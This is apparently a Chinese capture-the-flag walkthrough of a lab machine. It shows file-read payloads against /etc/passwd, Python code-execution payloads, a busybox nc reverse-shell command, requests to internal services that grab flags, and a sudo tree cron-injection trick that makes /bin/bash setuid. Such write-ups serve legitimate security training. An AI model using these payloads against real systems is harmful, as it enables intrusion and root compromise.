

一. 信息收集

80 (默认页面, 无内容)

222 (SSH)

9000 (利用点)

二. 渗透

1. 9000界面看介绍是个仲裁程序, 将JSON PAYLOAD分别发给Python 和 PHP两个后端。
2. 查看网页源码, 给出使用方法:

```
<!--  
{"action":"readfile","file":"/etc/hosts"} -->
```
3. 按照方法要素尝试, 确实有LFI, 拿到用户python,php,node

4. 分别尝试以上用户私钥内容，无果。

Enter the JSON payload to send to both backend services (Python on 5000 and PHP on 8080).

JSON Payload:

```
{"action": "readfile", "file": "/etc/passwd"}
```

Submit and Arbitrate

Arbitration Verdict:

✓ ****SUCCESS!**** Responses from both services are identical.

```
{
  "content": "root:x:0:0:root:/root:/bin/sh\nbin:x:1:1:bin:/bin:/sbin/\nlogin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nlp:x:4:7:lp:/var/spool/\nlpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/\nsync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/\nsbin/halt\nmail:x:8:12:mail:/var/mail:/sbin/nologin\nnews:x:9:13:news:/usr/\nlib/news:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/\nnologin\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\nftp:x:21:21::/var/\nlib/ftp:/sbin/nologin\nsshd:x:22:22:sshd:/dev/null:/sbin/\nnologin\ngames:x:35:35:games:/usr/games:/sbin/nologin\nntp:x:123:123:NTP:/\nvar/empty:/sbin/nologin\nguest:x:405:100:guest:/dev/null:/sbin/\nnologin\nnobody:x:65534:65534:nobody:/:/sbin/\nnologin\nphp:x:1000:1000:users:/home/php:/bin/sh\npython:x:1001:1001:users:/
```

5. 读取/etc/hosts，发现 172.17.0.2 e12f09edf871，明显是个docker环境。读取 /proc/1/cmdline 看看，发现 /code/start.sh，这一步得到两个信息：启动脚本名称和脚本绝对路径。
6. 尝试python web的入口文件名常见名app.py，拿到源码，给出了两个后台服务器的Url

```
PYTHON_URL = "http://127.0.0.1:5000/process"
```

```
PHP_URL = "http://127.0.0.1:8080/index.php"
```

同时明白了仲裁程序的逻辑：两个后台处理结果一致，返回成功；不一致，返回失败

7. 既然action有readfile参数，猜测还有其他参数，随便送一个看看效果：

```
"error": "Unknown action. Supported actions: readfile, evalcode."
```

得知还有一个evalcode参数，看名字是个命令执行，但因上一步得知的仲裁判断逻辑，PHP 肯定无法执行 Python 代码，所以页面永远看不到 Python 的回显。

至此整体思路为：a.通过evalcode执行命令，b.通过fileread读取执行结果。

三、首个flag获取

```
//命令执行，结果输出至/tmp/getall
```

```
{
```

```
  "action": "evalcode",
```

```
  "code": "__import__('os').system('ls -F / > /tmp/getall')"
```

```
}
```

```
//读取结果
```

```
{"action": "readfile", "file": "/tmp/getall"}
```

```
//也可反弹shell
```

```
"code": "__import__('os').system('busybox nc IP -e /bin/sh')"
```

拿到根路径目录结构，发现flag_php、flag_py、flag_node

1. flag_py:可直接读取，

```
"code": "__import__('os').system('cat /flag_py > /tmp/flag1')"
```

2. flag_php: 向本地 PHP 接口发送 POST 请求，将响应写入flag2

```
"code": "open('/tmp/flag2',
```

```
'wb').write(__import__('urllib.request').request.urlopen(__import__('urllib
.request').request.Request('http://127.0.0.1:8080/index.php',
data=b'{"action\":"readfile\","file\":" /flag_php\'}', headers=
{'Content-Type':'application/json'})).read())"
```

3. flagnode:先通过ps -ef发现node.js进程, find找到路

径/code/agent/node.js, 读取源码。 "code": "open('/tmp/flag3',
'wb').write(__import__('urllib.request').request.urlopen(__import__('urllib
.request').request.Request('http://127.0.0.1:3000/evalcode', headers=
{'Content-Type':'application/json'},
data=b'{"code\":"require(\\'fs\\').readFileSync(\\' /flag_node\\').toStri
ng()\\'}')).read())"

拼接后得到:

flag{flag1is_python_flag2_isphpave@funnnnnnnnnngooos}

四、登录并提权

提示: 首个flag是登陆密码。

尝试了多个用户名: php,python,py,node,vm1,vm_1,...最后发现是
admin

上去后sudo -l: (ALL) /usr/bin/tree

思路: 利用tree命令的-o参数, 可将目录结构写入任意文件

```
echo -n "chmod 4755 /bin/bash"|base64  
Y2htb2QgNDc1NSAvYmluL2Jhc2g=  
cd /tmp/toroot  
mkdir "*" * * * * root echo Y2htb2QgNDc1NSAvYmluL2Jhc2g= | base64 -d |  
bash"  
//-N 禁止转义, 防止将空格转为\  
//-i 不打印缩进  
/--noreport 不打印统计报告  
sudo /usr/bin/tree -N -i --noreport -o /etc/cron.d/toroot *  
/bin/bash -p
```

```
cat /root/root.txt
```

```
flag{woahiz}
```